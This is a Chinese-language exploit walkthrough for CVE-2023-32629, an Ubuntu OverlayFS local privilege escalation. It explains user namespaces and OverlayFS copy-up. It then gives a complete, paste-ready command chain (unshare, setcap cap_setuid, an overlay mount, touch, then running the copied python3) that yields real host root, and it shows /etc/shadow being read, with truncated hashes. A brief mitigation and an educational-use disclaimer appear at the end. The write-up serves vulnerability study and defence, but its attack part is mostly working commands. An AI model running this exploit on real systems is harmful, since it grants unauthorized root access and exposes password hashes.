OverlayFS 本地权限提升 - 从完整分析到完全提权
仅用于教育和授权的安全研究目的。
严重性: 高
类型: 本地权限提升 (LPE)
影响范围: 2023年5月/6月补丁之前的 Ubuntu 内核
要求: 启用了非特权用户命名空间(Ubuntu 默认)
CVE-2023-32629 是 Linux 内核 OverlayFS 实现中的一个漏洞。它滥用了用户命名空间和文件系统能力在 OverlayFS 复制操作期间的交互,以实现从任何非特权用户到真实主机 root 的本地权限提升。
当你运行 unshare -r 时,内核会创建一个新的用户命名空间,并将你的主机 UID 映射到其中的 UID 0:
/proc/self/uid_map:
0 1001 1 ← "命名空间内 UID 0 = 命名空间外 UID 1001(低特权)"
这意味着你在命名空间内显示为 root,但在检查主机资源的文件系统权限时,主机内核始终会转换回你的真实 UID。
OverlayFS 将 lowerdir(只读)和 upperdir(读写)堆叠成一个合并视图。当通过合并视图写入 lowerdir 中的文件时,内核会先将其复制到 upperdir — 这被称为复制。
关键点: 复制操作由内核本身使用主机凭据执行,无论触发它的是哪个命名空间。所有扩展属性(xattrs),包括文件系统能力,在此操作期间都会被保留。
| 机制 | 需要 root 所有权 | 授予方式 |
|---|---|---|
| SUID 位 | ✅ 是 | chmod u+s |
能力(cap_setuid) | ❌ 否 | setcap + 受信任的 xattr |
这种区别是该利用的核心。内核基于 xattr 本身来识别能力,无论谁拥有该文件。
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
cp 和 chmod 命令在命名空间内运行,其中 UID 0 映射到主机上的 lowpriv。因此:
/tmp/rootshell 由 lowpriv 所有,而不是真正的 rootlowpriv 拥有的文件上的 SUID 只授予 lowpriv — 我们已经是了cp 操作还移除了二进制文件的能力 xattrsunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
Shell 仅在命名空间内是 root。当它尝试访问 /etc/shadow 时,内核使用转换后的主机 UID 执行 VFS 权限检查:
进程 UID(命名空间内): 0 (看起来像 root)
内核转换: 0 → 1001 (主机上的 lowpriv)
/etc/shadow 权限: 640 root:shadow
有效检查器 UID: 1001 (lowpriv)
结果: EACCES — 权限拒绝
命名空间气泡在接触主机文件系统资源时从未突破到真实的主机 root。
# 步骤 1:在命名空间内设置 OverlayFS 并退出
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch 触发内核复制:l/python3 → u/python3
# 内核使用 HOST 凭据运行复制,保留 cap_setuid xattr
# 步骤 2:验证能力在主机文件系统上存活
getcap u/python3
# u/python3 cap_setuid=eip ← 在主机 FS 上设置的受信任 xattr
# 步骤 3:在命名空间外部执行
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. 在用户命名空间内 setcap
│
│ 将 cap_setuid 作为受信任的 xattr 写入 l/python3
▼
2. touch m/python3 → 触发 OverlayFS 复制
│
│ 内核使用 HOST 凭据将 l/ 复制到 u/
│ 所有 xattr 都被保留,包括 cap_setuid
▼
3. u/python3 存在于 HOST 文件系统上
│
│ 所有者:lowpriv (对能力无关紧要)
│ xattr:cap_setuid=eip (内核信任此)
▼
4. 在命名空间外部执行 u/python3
│
│ 没有 UID 映射生效
│ 内核将 cap_setuid=eip 视为主机级能力
│ os.setuid(0) → 真实主机 root
▼
5. Shell 拥有真正的 UID 0
│
│ VFS 检查以真实 root 身份通过
└─ /etc/shadow 可读
内核不应该实现在复制过程中从用户命名空间内部设置的受信任能力 xattr,因为这些 xattr 携带主机级的信任。未能强制执行此边界就是该错误所在。
命名空间使我们能够在文件上设置受信任的能力;内核复制操作将该能力偷运到主机文件系统上;在命名空间外执行使其成为现实。
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs 组合此工具仅供教育目的和授权的安全测试使用。未经授权对你不拥有或未获得明确书面许可的系统使用是违法的。作者不对任何滥用行为负责。
| 命名空间内 | 命名空间外 |
|---|
| UID 0 表示 | lowpriv(已映射) | 真实 root |
setuid(0) 效果 | 无操作(已经是命名空间 root) | 真正提权 |
| 主机文件系统访问 | 转换 → lowpriv | 完全 root |
cap_setuid 被识别 | 仅在命名空间内 | 是,主机级 |